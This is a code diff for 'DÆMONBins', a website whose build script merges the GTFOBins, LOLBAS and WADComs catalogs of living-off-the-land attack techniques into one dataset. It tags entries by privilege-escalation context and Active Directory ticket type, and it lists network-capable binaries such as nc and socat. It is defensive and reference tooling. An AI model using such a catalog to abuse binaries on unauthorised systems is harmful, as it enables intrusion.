+const AD_ITEMS = new Set(['TGS', 'TGT', 'PFX', 'AES_Key']);
+
+// GTFOBins binaries that are also standard on macOS (the classic POSIX/BSD
+// userland). Tagged Linux+macOS; everything else stays Linux-only rather than
+// risk a false macOS claim.
+const GTFO_MACOS = new Set([
+ 'awk', 'base64', 'basename', 'bash', 'bridge', 'busybox', 'cat', 'chmod', 'chown', 'cp',
+ 'csh', 'cut', 'date', 'dd', 'df', 'diff', 'dig', 'dmesg', 'du', 'ed', 'env', 'expand',
+ 'expect', 'file', 'find', 'flock', 'fmt', 'fold', 'ftp', 'gawk', 'gcc', 'gdb', 'gem',
+ 'genie', 'git', 'grep', 'gzip', 'head', 'hexdump', 'iconv', 'irb', 'jjs', 'join', 'jq',
+ 'ksh', 'ld.so', 'less', 'ln', 'logsave', 'look', 'lua', 'mail', 'make', 'man', 'more',
+ 'mv', 'nano', 'nawk', 'nc', 'nice', 'nl', 'nmap', 'node', 'nohup', 'od', 'openssl',
+ 'perl', 'pexec', 'php', 'pico', 'pip', 'python', 'python2', 'python3', 'rake', 'readelf',
+ 'ruby', 'run-parts', 'rvim', 'scp', 'screen', 'script', 'sed', 'setarch', 'sftp', 'sh',
+ 'smbclient', 'socat', 'sort', 'sqlite3', 'ss', 'ssh', 'stdbuf', 'strace', 'systemctl',
+ 'tac', 'tail', 'tar', 'taskset', 'tbl', 'tclsh', 'tcpdump', 'tee', 'telnet', 'tftp',
+ 'time', 'timeout', 'tmux', 'top', 'ul', 'unexpand', 'uniq', 'unshare', 'unzip', 'vi',
+ 'vim', 'watch', 'wc', 'wget', 'xargs', 'xxd', 'zip', 'zsh', 'zypper',
+]);
+
+// ---------------------------------------------------------------------------
+// Helpers
+// ---------------------------------------------------------------------------
+const uniq = (a) => [...new Set(a.filter((x) => x != null && x !== ''))];
+const asArray = (x) => (Array.isArray(x) ? x : x == null ? [] : [x]);
+
+function listFiles(dir) {
+ if (!existsSync(dir)) return [];
+ return readdirSync(dir).filter((f) => {
+ try { return statSync(join(dir, f)).isFile(); } catch { return false; }
+ });
+}
+
+function parseGtfoFile(content) {
+ // Whole-file Jekyll front matter: strip leading `---` and trailing `...`.
+ const body = content.replace(/^---\r?\n/, '').replace(/\r?\n?\.\.\.\s*$/, '');
+ return yaml.load(body) || {};
+}
+
+function parseFrontMatter(content) {
+ // Tolerate a leading BOM / blank lines before the `---` (some upstream
+ // WADComs files, e.g. Rubeus-s4u.md, open with a blank line).
+ const s = content.replace(/^/, '').replace(/^\s+/, '');
+ const m = /^---\r?\n([\s\S]*?)\r?\n---/.exec(s);
+ if (!m) return {};
+ return yaml.load(m[1]) || {};
+}
+
+function parseMitreFromRefs(refs) {
+ const out = [];
+ for (const r of asArray(refs)) {
+ const re = /attack\.mitre\.org\/techniques\/(T\d{4})(?:\/(\d{3}))?/gi;
+ let m;
+ while ((m = re.exec(String(r))) !== null) out.push(m[2] ? `${m[1]}.${m[2]}` : m[1]);
+ }
+ return uniq(out);
+}
+
+function normPrivilege(raw) {
+ const s = String(raw || '').toLowerCase();
+ if (!s) return undefined;
+ if (/(system|nt authority|trustedinstaller)/.test(s)) return 'system';
+ if (/(admin|elevated|high integrity|local administrator)/.test(s)) return 'admin';
+ return 'user';
+}
+
+const lolbasUrlType = { OSBinaries: 'Binaries', OSLibraries: 'Libraries', OSScripts: 'Scripts', OtherMSBinaries: 'OtherMSBinaries' };
+const lolbasType = { OSBinaries: 'Binary', OSLibraries: 'Library', OSScripts: 'Script', OtherMSBinaries: 'OtherMSBinary' };
+
+// ---------------------------------------------------------------------------
+// Zod schema — every emitted Technique is validated; a bad record fails the build.
+// ---------------------------------------------------------------------------
+const TechniqueSchema = z.object({
+ id: z.string().min(1),
+ toolId: z.string().min(1),
+ toolName: z.string().min(1),
+ name: z.string().optional(),
+ source: z.enum(['GTFOBins', 'LOLBAS', 'WADComs', 'DAEMON']),
+ platform: z.array(z.enum(['Linux', 'Windows', 'macOS', 'ActiveDirectory'])).min(1),
+ capability: z.array(z.enum(CAPABILITIES)),
+ nativeCategory: z.array(z.string()),
+ command: z.string().min(1),
+ description: z.string().optional(),
+ usecase: z.string().optional(),
+ mitre: z.array(z.string()),
+ privilege: z.string().optional(),
+ context: z.string().optional(),
+ requires: z.array(z.string()).optional(),
+ services: z.array(z.string()).optional(),
+ fullPath: z.array(z.string()).optional(),
+ toolType: z.string().optional(),
+ detection: z.array(z.object({ type: z.string(), value: z.string() })).optional(),
+ references: z.array(z.string()),
+ added: z.boolean().optional(),
+ verifyNote: z.string().optional(),
+});
+
+// ---------------------------------------------------------------------------
+// GTFOBins
+// ---------------------------------------------------------------------------
+function ingestGtfobins() {
+ const dir = join(VENDOR, 'gtfobins', '_gtfobins');
+ const files = listFiles(dir);
+ const techniques = [];
+ const tools = new Map();
+ const aliasEdges = []; // {from: aliasFile, to: canonical}
+
+ // Pass 1 — parse every file into a map.
+ const parsed = new Map();
+ for (const bin of files) {
+ const data = parseGtfoFile(readFileSync(join(dir, bin), 'utf8'));
+ parsed.set(bin, data);
+ }
+
+ // Resolve the function set a binary exposes (for inherit capability union).
+ const funcsOf = (bin, seen = new Set()) => {
+ if (seen.has(bin)) return [];
+ seen.add(bin);
+ const d = parsed.get(bin);
+ if (!d) return [];
+ if (d.alias) return funcsOf(String(d.alias), seen);
+ return Object.keys(d.functions || {}).filter((f) => f !== 'inherit');
+ };
+
+ for (const bin of files) {
+ const data = parsed.get(bin);
+ if (data.alias) { aliasEdges.push({ from: bin, to: String(data.alias) }); continue; }
+ const fns = data.functions || {};
+ const toolId = `gtfo:${bin}`;
+ const pageUrl = `https://gtfobins.github.io/gtfobins/${bin}/`;
+ const platform = GTFO_MACOS.has(bin) ? ['Linux', 'macOS'] : ['Linux'];
+ if (!tools.has(toolId)) {
+ tools.set(toolId, { id: toolId, name: bin, source: 'GTFOBins', platform, aliases: [], references: [pageUrl], count: 0 });
+ }
+
+ for (const [fn, examples] of Object.entries(fns)) {
+ asArray(examples).forEach((ex, i) => {
+ const contexts = ex.contexts && Object.keys(ex.contexts).length ? Object.keys(ex.contexts) : ['unprivileged'];
+ contexts.forEach((ctx) => {
+ const ctxObj = ex.contexts?.[ctx] || null;
+ const command = (ctxObj && ctxObj.code) || ex.code;
+ if (!command || !String(command).trim()) return;
+
+ let capability, nativeCategory, mitre, name;
+ if (fn === 'inherit') {
+ const from = String(ex.from || '');
+ const inheritedFns = funcsOf(from);
+ const caps = uniq(inheritedFns.flatMap((f) => GTFO_FN_CAP[f] || []));
+ capability = caps.length ? caps : ['Execution'];
+ const mit = uniq(inheritedFns.flatMap((f) => GTFO_FN_MITRE[f] || []));
+ mitre = uniq([...(ex.mitre || []), ...(mit.length ? mit : ['T1059'])]);
+ nativeCategory = uniq(['inherit', ...inheritedFns.map((f) => `from:${from}`)]);
+ name = `inherit ← ${from}`;
+ } else {
+ capability = [...(GTFO_FN_CAP[fn] || ['Execution'])];
+ nativeCategory = [fn];
+ mitre = uniq([...(ex.mitre || []), ...(GTFO_FN_MITRE[fn] || [])]);
+ name = fn;
+ }
+ // sudo/suid/capabilities contexts also grant Privilege Escalation.
+ if ((ctx === 'sudo' || ctx === 'suid' || ctx === 'capabilities') && !capability.includes('Privilege Escalation')) {
+ capability = [...capability, 'Privilege Escalation'];
+ }
+
+ techniques.push({
+ id: `gtfo:${bin}:${fn}:${i}:${ctx}`,
+ toolId, toolName: bin, name,
+ source: 'GTFOBins', platform,
+ capability, nativeCategory,
+ command: String(command),
+ description: (ctxObj && ctxObj.comment) || ex.comment || undefined,
+ mitre,
+ privilege: ctx,
+ context: ctx,
+ references: [pageUrl],
+ });
+ tools.get(toolId).count++;
+ });
+ });
+ }
+ }
+
+ // Attach aliases to their canonical tool.
+ for (const { from, to } of aliasEdges) {
+ const t = tools.get(`gtfo:${to}`);
+ if (t) t.aliases.push(from);
+ }
+ return { techniques, tools: [...tools.values()], aliasCount: aliasEdges.length };
+}
+
+// ---------------------------------------------------------------------------
+// LOLBAS
+// ---------------------------------------------------------------------------
+function ingestLolbas() {
+ const base = join(VENDOR, 'lolbas', 'yml');
+ const dirs = ['OSBinaries', 'OSLibraries', 'OSScripts', 'OtherMSBinaries']; // HonorableMentions skipped
+ const techniques = [];
+ const tools = [];
+
+ for (const d of dirs) {
+ const dir = join(base, d);
+ for (const f of listFiles(dir).filter((x) => x.endsWith('.yml'))) {
+ const data = yaml.load(readFileSync(join(dir, f), 'utf8')) || {};
+ const name = data.Name || f.replace(/\.yml$/, '');
+ const stem = name.replace(/\.(exe|dll|ps1|com|scr|bat|cmd|vbs|js|msc|cpl|inf)$/i, '');
+ // Slug the FULL name (extension included) so exe/vbs twins such as
+ // SyncAppvPublishingServer.{exe,vbs} stay distinct tools/ids.
+ const nameSlug = name.toLowerCase().replace(/[^a-z0-9]+/g, '-').replace(/^-+|-+$/g, '');
+ const toolId = `lolbas:${nameSlug}`;
+ const pageUrl = `https://lolbas-project.github.io/lolbas/${lolbasUrlType[d]}/${stem}/`;
+ const fullPath = asArray(data.Full_Path).map((p) => p.Path).filter(Boolean);
+ const aliases = asArray(data.Aliases).map((a) => a.Alias).filter(Boolean);
+ const contributors = asArray(data.Acknowledgement)
+ .map((a) => [a.Person, a.Handle].filter(Boolean).join(' '))
+ .filter((s) => s && s.toLowerCase() !== 'unknown');
+
+ tools.push({
+ id: toolId, name, source: 'LOLBAS', platform: ['Windows'], toolType: lolbasType[d],
+ aliases, fullPath, author: data.Author || undefined, created: data.Created || undefined,
+ contributors, references: [pageUrl], count: 0,
+ });
+ const tool = tools[tools.length - 1];
+
+ asArray(data.Commands).forEach((c, i) => {
+ const cat = c.Category;
+ const capability = LOLBAS_CAT_CAP[cat] ? [...LOLBAS_CAT_CAP[cat]] : ['Execution'];
+ const detection = asArray(data.Detection).map((det) => {
+ const key = ['IOC', 'Sigma', 'Analysis', 'Elastic', 'Splunk', 'BlockRule'].find((k) => det[k]);
+ return key ? { type: key, value: String(det[key]) } : null;
+ }).filter(Boolean);
+ const references = uniq([...asArray(data.Resources).map((r) => r.Link), pageUrl]);
+
+ techniques.push({
+ id: `${toolId}:${i}`,
+ toolId, toolName: name, name: cat,
+ source: 'LOLBAS', platform: ['Windows'],
+ capability, nativeCategory: [cat],
+ command: String(c.Command || '').trim(),
+ description: c.Description || undefined,
+ usecase: c.Usecase || undefined,
+ mitre: c.MitreID ? [String(c.MitreID)] : [],
+ privilege: normPrivilege(c.Privileges),
+ fullPath, toolType: lolbasType[d],
+ detection: detection.length ? detection : undefined,
+ references,
+ });
+ tool.count++;
+ });
+ }
+ }
+ return { techniques, tools };
+}
+
+// ---------------------------------------------------------------------------
+// WADComs — shared normalizer for upstream (.md) and daemon-authored (TS/JSON).
+// ---------------------------------------------------------------------------
+function wadPlatform(os, services, items) {
+ const plats = new Set();
+ for (const o of asArray(os)) {
+ const s = String(o).toLowerCase();
+ if (s.includes('windows')) plats.add('Windows');
+ else if (s.includes('linux') || s.includes('unix')) plats.add('Linux');
+ else if (s.includes('mac') || s.includes('osx') || s.includes('darwin')) plats.add('macOS');
+ }
+ const isAD = asArray(services).some((s) => AD_SERVICES.has(s)) || asArray(items).some((i) => AD_ITEMS.has(i));
+ if (isAD) { plats.add('ActiveDirectory'); plats.add('Windows'); }
+ if (plats.size === 0) plats.add('Windows');
+ return [...plats];
+}
+
+function wadTechnique(entry, source) {
+ const attackTypes = asArray(entry.attackTypes ?? entry.attack_types);
+ const os = asArray(entry.os ?? entry.OS);
+ const services = asArray(entry.services);
+ const items = asArray(entry.items);
+ const references = asArray(entry.references);
+ const capability = uniq(attackTypes.flatMap((a) => WAD_ATTACK_CAP[a] || []));
+ const slug = entry.slug;
+ const family = String(slug).split('-')[0] || slug;
+ return {
+ id: `wadcoms:${slug}`,
+ toolId: `wadcoms:${family}`,
+ toolName: family,
+ name: entry.name || slug,
+ source,
+ platform: wadPlatform(os, services, items),
+ capability,
+ nativeCategory: attackTypes.slice(),
+ command: String(entry.command || '').trim(),
+ description: entry.description || undefined,
+ mitre: parseMitreFromRefs(references),
+ requires: items.length ? items : undefined,
+ services: services.length ? services : undefined,
+ references,
+ added: source === 'DAEMON' ? true : undefined,
+ };
+}
+
+function ingestWadcomsUpstream() {
+ const dir = join(VENDOR, 'wadcoms', '_wadcoms');
+ const techniques = [];
+ for (const f of listFiles(dir).filter((x) => x.endsWith('.md'))) {
+ const fm = parseFrontMatter(readFileSync(join(dir, f), 'utf8'));
+ const slug = f.replace(/\.md$/, '');
+ const t = wadTechnique({ ...fm, slug }, 'WADComs');
+ if (t.command) techniques.push(t);
+ }
+ return techniques;
+}
+
+async function ingestWadcomsAdditions() {
+ if (!existsSync(WADCOMS_TS)) {
+ console.warn(` ! WADComs additions TS not found at ${WADCOMS_TS} — skipping 134 additions`);
+ return [];
+ }
+ const src = readFileSync(WADCOMS_TS, 'utf8');
+ const { code } = await esbuild.transform(src, { loader: 'ts', format: 'esm' });
+ const mod = await import('data:text/javascript;base64,' + Buffer.from(code).toString('base64'));
+ const entries = (mod.WADCOMS_ENTRIES || []).filter((e) => e.added === true);
+ return entries.map((e) => wadTechnique(e, 'DAEMON')).filter((t) => t.command);
+}
+
+// ---------------------------------------------------------------------------
+// DÆMON modernization backlog (§7) — optional, from the workflow output.
+// ---------------------------------------------------------------------------
+function ingestBacklog() {
+ if (!existsSync(BACKLOG_JSON)) {
+ console.warn(' ! DÆMON backlog not found (src/data/daemon-backlog.json) — skipping §7 additions');
+ return { techniques: [], tools: [] };
+ }
+ const raw = JSON.parse(readFileSync(BACKLOG_JSON, 'utf8'));
+ const list = Array.isArray(raw) ? raw : raw.entries || raw.keep || [];
+ const techniques = [];
+ const toolMap = new Map();
+ list.forEach((e, i) => {
+ const toolId = `daemon:${e.toolId || String(e.toolName).toLowerCase().replace(/[^a-z0-9]+/g, '-')}`;
+ const platform = (e.platform || []).filter((p) => PLATFORMS.includes(p));
+ const capability = uniq((e.capability || []).filter((c) => CAPABILITIES.includes(c)));
+ techniques.push({
+ id: `daemon:${e.toolId || i}:${i}`,
+ toolId, toolName: e.toolName,
+ name: (e.nativeCategory && e.nativeCategory[0]) || undefined,
+ source: 'DAEMON',
+ platform: platform.length ? platform : ['Windows'],
+ capability: capability.length ? capability : ['Execution'],
+ nativeCategory: e.nativeCategory || [],
+ command: String(e.command || '').trim(),
+ description: e.description || undefined,
+ usecase: e.usecase || undefined,
+ mitre: uniq(e.mitre || []),
+ privilege: e.privilege || undefined,
+ detection: e.detection
+ ? (Array.isArray(e.detection) ? e.detection : [{ type: 'Detection', value: String(e.detection) }])
+ : undefined,
+ references: asArray(e.references),
+ added: true,
+ verifyNote: e.verifyNote || undefined,
+ });
+ if (!toolMap.has(toolId)) {
+ toolMap.set(toolId, { id: toolId, name: e.toolName, source: 'DAEMON', platform: platform.length ? platform : ['Windows'], references: asArray(e.references), count: 0 });
+ }
+ toolMap.get(toolId).count++;
+ });
+ return { techniques, tools: [...toolMap.values()] };
+}
+
+// Build per-tool records for the WADComs (upstream + daemon) techniques, which
+// carry no separate tool file.
+function toolsFromWad(techniques) {
+ const map = new Map();
+ for (const t of techniques) {
+ if (!map.has(t.toolId)) {
+ map.set(t.toolId, { id: t.toolId, name: t.toolName, source: t.source, platform: [], references: [], count: 0 });
+ }
+ const tool = map.get(t.toolId);
+ tool.count++;
+ tool.platform = uniq([...tool.platform, ...t.platform]);
+ tool.references = uniq([...tool.references, ...t.references]);
+ // A wadcoms tool family may hold both upstream and daemon entries; if any
+ // is daemon-authored keep the source honest as mixed → prefer WADComs base.
+ if (t.source === 'DAEMON' && tool.source !== 'DAEMON') tool.source = 'WADComs';
+ }
+ return [...map.values()];
+}
+
+// ---------------------------------------------------------------------------
+// Main
+// ---------------------------------------------------------------------------
+async function main() {
+ console.log('DÆMONBins dataset build\n');
+
+ const gtfo = ingestGtfobins();
+ console.log(` GTFOBins : ${gtfo.techniques.length} techniques, ${gtfo.tools.length} tools (${gtfo.aliasCount} aliases)`);
+
+ const lolbas = ingestLolbas();
+ console.log(` LOLBAS : ${lolbas.techniques.length} techniques, ${lolbas.tools.length} tools`);
+
+ const wadUp = ingestWadcomsUpstream();
+ console.log(` WADComs : ${wadUp.length} techniques (upstream)`);
+
+ const wadAdd = await ingestWadcomsAdditions();
+ console.log(` WADComs+ : ${wadAdd.length} techniques (daemon additions)`);
+
+ const backlog = ingestBacklog();
+ console.log(` DÆMON §7 : ${backlog.techniques.length} techniques (modernization backlog)`);
+
+ const techniques = [
+ ...gtfo.techniques, ...lolbas.techniques, ...wadUp, ...wadAdd, ...backlog.techniques,
+ ];
+ const wadTools = toolsFromWad([...wadUp, ...wadAdd]);
+ const tools = [...gtfo.tools, ...lolbas.tools, ...wadTools, ...backlog.tools];
+
+ // Validate every record; fail the build on the first bad one.
+ let bad = 0;
+ const ids = new Set();
+ for (const t of techniques) {
+ const r = TechniqueSchema.safeParse(t);
+ if (!r.success) {
+ bad++;
+ if (bad <= 10) console.error(` ✗ invalid ${t.id}: ${r.error.issues.map((i) => `${i.path.join('.')} ${i.message}`).join('; ')}`);
+ continue;
+ }
+ if (ids.has(t.id)) { bad++; console.error(` ✗ duplicate id ${t.id}`); }
+ ids.add(t.id);
+ }
+ if (bad > 0) {
+ console.error(`\nBUILD FAILED: ${bad} invalid/duplicate technique record(s).`);
+ process.exit(1);
+ }
+
+ // Derived facet indexes + counts.
+ const count = (arr, key) => arr.reduce((m, v) => ((m[v] = (m[v] || 0) + 1), m), {});
+ const bySource = count(techniques.map((t) => t.source));
+ const byPlatform = {};
+ const byCapability = {};
+ for (const t of techniques) {
+ for (const p of t.platform) byPlatform[p] = (byPlatform[p] || 0) + 1;
+ for (const c of t.capability) byCapability[c] = (byCapability[c] || 0) + 1;
+ }
+ const facets = {
+ platforms: PLATFORMS.filter((p) => byPlatform[p]),
+ capabilities: CAPABILITIES.filter((c) => byCapability[c]),
+ sources: SOURCES.filter((s) => bySource[s]),
+ counts: {
+ techniques: techniques.length,
+ tools: tools.length,
+ added: techniques.filter((t) => t.added).length,
+ bySource, byPlatform, byCapability,
+ toolsBySource: count(tools.map((t) => t.source)),
+ },
+ commits: {
+ gtfobins: readCommit('gtfobins'), lolbas: readCommit('lolbas'), wadcoms: readCommit('wadcoms'),
+ },
+ };
+
+ // Emit.
+ mkdirSync(OUT_SRC, { recursive: true });
+ mkdirSync(OUT_PUB, { recursive: true });
+ const j = (o) => JSON.stringify(o, null, 0);
+ writeFileSync(join(OUT_SRC, 'techniques.json'), JSON.stringify(techniques));
+ writeFileSync(join(OUT_SRC, 'tools.json'), JSON.stringify(tools));
+ writeFileSync(join(OUT_SRC, 'facets.json'), JSON.stringify(facets, null, 2));
+ writeFileSync(join(OUT_PUB, 'techniques.json'), j(techniques));
+
+ console.log(`\n TOTAL : ${techniques.length} techniques, ${tools.length} tools`);
+ console.log(` by source: ${JSON.stringify(bySource)}`);
+ console.log(` by platform: ${JSON.stringify(byPlatform)}`);
+ console.log(` added(NEW): ${facets.counts.added}`);
+ console.log('\n wrote src/data/{techniques,tools,facets}.json + public/data/techniques.json');
+}
+
+function readCommit(name) {
+ try {
+ const head = readFileSync(join(VENDOR, name, '.git', 'HEAD'), 'utf8').trim();
+ if (head.startsWith('ref:')) {
+ const ref = head.slice(4).trim();
+ return readFileSync(join(VENDOR, name, '.git', ref), 'utf8').trim().slice(0, 7);
+ }
+ return head.slice(0, 7);
+ } catch { return null; }
+}
+
+main().catch((e) => { console.error(e); process.exit(1); });
diff --git a/scripts/setup-vendor.sh b/scripts/setup-vendor.sh
@@ -0,0 +1,35 @@
+#!/usr/bin/env bash
+# Formalize the three upstream sources under vendor/ as pinned git submodules.
+#
+# The build only needs the FILES under vendor/{gtfobins,lolbas,wadcoms}; they
+# are already present (moved in from the working clones, .git preserved), so
+# `npm run data` works right now without any of this. Run this only when you
+# want them tracked as proper, re-syncable submodules.
+#
+# NOTE: you (the maintainer) drive all VCS. This script is documentation you
+# can execute; it is never run by the site build or by CI.
+set -euo pipefail
+cd "$(dirname "$0")/.."
+
+pin() { # $1 = path, $2 = url
+ local path="$1" url="$2" sha
+ sha="$(git -C "$path" rev-parse HEAD)"
+ # Adopt the existing checkout as a submodule at its current commit.
+ git submodule add --force "$url" "$path"
+ git -C "$path" checkout --quiet "$sha"
+ echo " pinned $path @ ${sha:0:7}"
+}
+
+echo "Registering vendored upstreams as submodules…"
+pin vendor/gtfobins https://github.com/GTFOBins/GTFOBins.github.io.git
+pin vendor/lolbas https://github.com/LOLBAS-Project/LOLBAS.git
+pin vendor/wadcoms https://github.com/WADComs/WADComs.github.io.git
+git submodule absorbgitdirs || true
+
+cat <<'NOTE'
+
+Done. To refresh the dataset against the latest upstreams later:
+ git submodule update --remote vendor/gtfobins vendor/lolbas vendor/wadcoms
+ npm run data # regenerate src/data/techniques.json
+ git add src/data/techniques.json && <commit with jj>
+NOTE
diff --git a/src/components/Callout.astro b/src/components/Callout.astro
@@ -0,0 +1,26 @@
+---
+import Icon from './Icon.astro';
+
+interface Props {
+ tone?: 'note' | 'finding' | 'warning' | 'danger';
+ /** Override the tone's default kind label. */
+ label?: string;
+}
+const { tone = 'note', label } = Astro.props;
+
+/**
+ * Flat plate, a 2px accent rule, mono eyebrow — the archive's callout, ported
+ * from the main site's Callout. Four tones, each with its own kind mark.
+ */
+const TONES = {
+ note: { color: 'var(--pine)', icon: 'info', label: 'Note' },
+ finding: { color: 'var(--foam)', icon: 'check', label: 'Finding' },
+ warning: { color: 'var(--gold)', icon: 'warn', label: 'Warning' },
+ danger: { color: 'var(--love)', icon: 'close', label: 'Danger' },
+} as const;
+const t = TONES[tone];
+---
+<div class="dcallout" style={`--tone: ${t.color};`}>
+ <div class="dcallout__label"><Icon name={t.icon} /> {label ?? t.label}</div>
+ <div class="dcallout__body"><slot /></div>
+</div>
diff --git a/src/components/Footer.astro b/src/components/Footer.astro
@@ -0,0 +1,57 @@
+---
+import { url } from '../lib/url';
+
+const GITHUB = 'https://github.com/DAEMON-404/daemon-sec-lotl';
+const MAIN_SITE = 'https://daemon-sec.xyz';
+const year = 2026;
+
+/**
+ * The footer, re-plated on the signal field per the main site's Footer: a
+ * dark closing band with the wordmark, the motto, the numbered nav (each
+ * index keeps its section hue), and the status block. `.dfooter` pins the
+ * signal palette, so it stays dark in both modes.
+ */
+const NAV = [
+ { n: '01', label: 'Catalog', href: url('catalog'), acc: 'love' },
+ { n: '02', label: 'GTFOBins', href: url('gtfobins'), acc: 'foam' },
+ { n: '03', label: 'LOLBAS', href: url('lolbas'), acc: 'iris' },
+ { n: '04', label: 'WADComs', href: url('wadcoms'), acc: 'gold' },
+ { n: '05', label: 'Credits', href: url('credits'), acc: 'pine' },
+];
+---
+<footer class="dfooter site-footer">
+ <span class="dfooter__scrim" aria-hidden="true"></span>
+ <span class="scanlines" aria-hidden="true"></span>
+ <div class="archive dfooter__inner">
+ <div class="dfooter__grid">
+ <div>
+ <a href={url('')} class="dfooter__wordmark">DÆMON<span class="hy">·</span>BINS</a>
+ <p class="dfooter__motto">
+ The Off-the-Land Almanac — GTFOBins, LOLBAS and WADComs merged, resynced, and extended.
+ Placeholder-only reference material for authorised testing, CTFs, detection engineering and
+ education. Know your scope; get permission first.
+ </p>
+ </div>
+
+ <nav class="dfooter__nav" aria-label="Footer">
+ {NAV.map((item) => (
+ <a href={item.href} style={`--acc: var(--color-night-${item.acc});`}>
+ <span class="n">{item.n}</span>{item.label}
+ </a>
+ ))}
+ <a href={MAIN_SITE} rel="noopener" style="--acc: var(--color-night-foam);"><span class="n">06</span>Main site ↗</a>
+ <a href={GITHUB} target="_blank" rel="noopener" style="--acc: var(--color-night-gold);"><span class="n">07</span>GitHub ↗</a>
+ </nav>
+
+ <div class="dfooter__meta">
+ <div class="live">
+ <span class="dmn-dot" style="--dot: var(--color-night-love);" aria-hidden="true"><i class="dmn-anim-pulse"></i><u class="dmn-anim-ring"></u></span>
+ All systems operational
+ </div>
+ <div class="row">GTFOBins · LOLBAS · WADComs — each GPL-3.0</div>
+ <div class="row">Rosé Pine · Astro · Pagefind</div>
+ <div class="row">© {year} DÆMONBins · <a href={url('credits')}>credits</a> · GPL-3.0</div>
+ </div>
+ </div>
+ </div>
+</footer>
diff --git a/src/components/Header.astro b/src/components/Header.astro
@@ -0,0 +1,100 @@
+---
+import Icon from './Icon.astro';
+import { url } from '../lib/url';
+
+const MAIN_SITE = 'https://daemon-sec.xyz';
+
+/**
+ * The masthead, in the main site's grammar (daemon-sec.xyz `Masthead`): a
+ * wordmark chip on the left, numbered mono nav in the centre, and the action
+ * cluster on the right. Each nav entry owns a hue and its index wears it, so
+ * the bar reads as the colour legend the rest of the site keys back to.
+ *
+ * The nav entries and the search / theme / mobile wiring are the cheat-sheet
+ * site's own — `[data-search-open]`, `[data-theme-toggle]` and
+ * `[data-mobile-nav-toggle]` are bound in scripts/app.ts and SearchModal.
+ */
+const NAV = [
+ { n: '01', label: 'Catalog', href: url('catalog'), acc: 'love' },
+ { n: '02', label: 'GTFOBins', href: url('gtfobins'), acc: 'foam' },
+ { n: '03', label: 'LOLBAS', href: url('lolbas'), acc: 'iris' },
+ { n: '04', label: 'WADComs', href: url('wadcoms'), acc: 'gold' },
+ { n: '05', label: 'Credits', href: url('credits'), acc: 'pine' },
+];
+
+/* Trailing slashes are `ignore`d by the build, so both spellings of a path
+ reach here and an exact match would leave the bar saying nowhere. */
+const here = Astro.url.pathname.replace(/\/+$/, '') || '/';
+const isActive = (href: string, exact?: boolean) => {
+ const target = href.replace(/\/+$/, '') || '/';
+ return exact ? here === target : here === target || here.startsWith(target + '/');
+};
+
+/* The Orthodox cross, drawn rather than typed — none of the site's faces
+ carry U+2626, so it would fall back per-character. Ported from the main
+ site's OrthodoxCross. */
+const CROSS = `<line x1="9" y1="1.3" x2="9" y2="22.7"/><line x1="6.1" y1="6.2" x2="11.9" y2="6.2"/><line x1="1.3" y1="10.7" x2="16.7" y2="10.7"/><line x1="3.7" y1="15.9" x2="14.3" y2="18.7"/>`;
+---
+<header class="mast site-header">
+ <div class="archive mast__row">
+ <a class="mast__brand" href={url('')} aria-label="DÆMON//SEC — home">
+ <span class="mast__chip">DΛΣMӨП<svg viewBox="0 0 18 24" fill="none" stroke="currentColor" stroke-width="2.6" stroke-linecap="butt" aria-hidden="true" set:html={CROSS} /></span>
+ </a>
+
+ <nav class="mast__nav" aria-label="Sections">
+ {NAV.map((item) => (
+ <a
+ class="mast__navitem"
+ href={item.href}
+ style={`--acc: var(--${item.acc});`}
+ aria-current={isActive(item.href, item.exact) ? 'page' : undefined}
+ >
+ <span class="n">{item.n}</span><span class="lbl">{item.label}</span>
+ <span class="rule" aria-hidden="true"></span>
+ </a>
+ ))}
+ </nav>
+
+ <div class="mast__actions">
+ <span class="mast__status" aria-hidden="true">
+ <span class="dmn-dot" style="--dot: var(--love);"><i class="dmn-anim-pulse"></i><u class="dmn-anim-ring"></u></span>
+ <span>Offline · Pagefind</span>
+ </span>
+ <button class="mast__icon" data-search-open type="button" aria-label="Search the vault">
+ <Icon name="search" /><kbd>/</kbd>
+ </button>
+ <button class="mast__icon mast__mode" data-theme-toggle type="button" aria-label="Dark mode">
+ <span class="icon-sun"><Icon name="sun" /></span>
+ <span class="icon-moon"><Icon name="moon" /></span>
+ </button>
+ <a class="mast__icon" href={MAIN_SITE} rel="noopener" aria-label="Back to DÆMON — main site"><Icon name="external" /></a>
+ <button
+ class="mast__burger"
+ data-mobile-nav-toggle
+ type="button"
+ aria-label="Open navigation"
+ aria-controls="mobile-primary-nav"
+ aria-expanded="false"
+ >
+ <i></i><i></i><i></i>
+ </button>
+ </div>
+ </div>
+
+ <nav id="mobile-primary-nav" class="mast__mobile" data-mobile-nav aria-label="Primary mobile" hidden>
+ {NAV.map((item) => (
+ <a
+ href={item.href}
+ style={`--acc: var(--${item.acc});`}
+ aria-current={isActive(item.href, item.exact) ? 'page' : undefined}
+ >
+ <span class="n">{item.n}</span>{item.label}
+ <span class="arrow" aria-hidden="true">→</span>
+ </a>
+ ))}
+ <a href={MAIN_SITE} rel="noopener">
+ <span class="n" style="--acc: var(--foam);">↗</span>Main site
+ <span class="arrow" aria-hidden="true" style="--acc: var(--foam);">↗</span>
+ </a>
+ </nav>
+</header>
diff --git a/src/components/Icon.astro b/src/components/Icon.astro
@@ -0,0 +1,29 @@
+---
+interface Props { name: string; class?: string }
+const { name, class: cls } = Astro.props;
+const paths: Record<string, string> = {
+ search: '<circle cx="11" cy="11" r="7"/><path d="m21 21-4.3-4.3"/>',
+ sun: '<circle cx="12" cy="12" r="4"/><path d="M12 2v2M12 20v2M4.9 4.9l1.4 1.4M17.7 17.7l1.4 1.4M2 12h2M20 12h2M4.9 19.1l1.4-1.4M17.7 6.3l1.4-1.4"/>',
+ moon: '<path d="M21 12.8A9 9 0 1 1 11.2 3a7 7 0 0 0 9.8 9.8z"/>',
+ github: '<path d="M9 19c-5 1.5-5-2.5-7-3m14 6v-3.9a3.4 3.4 0 0 0-.9-2.6c3-.3 6.2-1.5 6.2-6.7A5.2 5.2 0 0 0 20 4.8 4.9 4.9 0 0 0 19.9 1S18.7.6 16 2.5a13.4 13.4 0 0 0-7 0C6.3.6 5.1 1 5.1 1A4.9 4.9 0 0 0 5 4.8a5.2 5.2 0 0 0-1.4 3.7c0 5.2 3.2 6.4 6.2 6.7a3.4 3.4 0 0 0-.9 2.5V22"/>',
+ arrow: '<path d="M5 12h14M13 6l6 6-6 6"/>',
+ chevron: '<path d="m9 6 6 6-6 6"/>',
+ terminal: '<path d="m7 9 3 3-3 3M13 15h4"/><rect x="3" y="4" width="18" height="16"/>',
